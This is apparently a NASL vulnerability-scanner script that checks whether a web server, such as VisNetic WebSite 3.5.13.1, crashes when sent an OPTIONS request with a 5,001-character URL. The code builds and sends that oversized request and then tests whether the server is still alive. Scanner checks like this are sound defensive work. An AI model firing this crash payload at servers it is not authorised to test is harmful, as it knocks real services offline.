Too Long OPTIONS Parameter DoS Vulnerability

# SPDX-FileCopyrightText: 2003 Michel Arboi
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only

if(description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.11235");
  script_version("2023-07-21T05:05:22+0000");
  script_tag(name:"last_modification", value:"2023-07-21 05:05:22 +0000 (Fri, 21 Jul 2023)");
  script_tag(name:"creation_date", value:"2005-11-03 14:08:04 +0100 (Thu, 03 Nov 2005)");
  script_tag(name:"cvss_base", value:"9.3");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:M/Au:N/C:C/I:C/A:C");
  script_name("Too Long OPTIONS Parameter DoS Vulnerability");
  script_category(ACT_DENIAL);
  # All the www_too_long_*.nasl scripts were first declared as
  # ACT_DESTRUCTIVE_ATTACK, but many web servers are vulnerable to them:
  # The web server might be killed by those generic tests before the scanner
  # has a chance to perform known attacks for which a patch exists
  # As ACT_DENIAL are performed one at a time (not in parallel), this reduces
  # the risk of false positives.
  script_copyright("Copyright (C) 2003 Michel Arboi");
  script_family("Gain a shell remotely");
  script_dependencies("find_service.nasl", "httpver.nasl", "global_settings.nasl");
  script_require_ports("Services/www", 80);
  script_exclude_keys("Settings/disable_cgi_scanning");

  script_tag(name:"solution", value:"Upgrade your web server.");

  script_tag(name:"summary", value:"It may be possible to make the web server crash or even
  execute arbitrary code by sending it a too long url through the OPTIONS method.");

  script_tag(name:"affected", value:"VisNetic WebSite 3.5.13.1 is known to be affected. Other
  versions or products might be affected as well.");

  script_tag(name:"solution_type", value:"VendorFix");
  script_tag(name:"qod_type", value:"remote_analysis");

  exit(0);
}

include("http_func.inc");
include("port_service_func.inc");

port = http_get_port( default:80 );

if( http_is_dead( port:port, retry:4 ) )
  exit( 0 );

# We need a simple http_request function. However, for NASL1, let's do this:
req = http_get( port:port, item:"/" + crap( 5001 ) + ".html" );
req = ereg_replace( string:req, pattern:"^GET", replace:"OPTIONS" );
http_send_recv( port:port, data:req );

sleep( 5 );

if( http_is_dead( port:port, retry:4 ) ) {
  security_message( port:port );
  exit( 0 );
}

exit( 99 );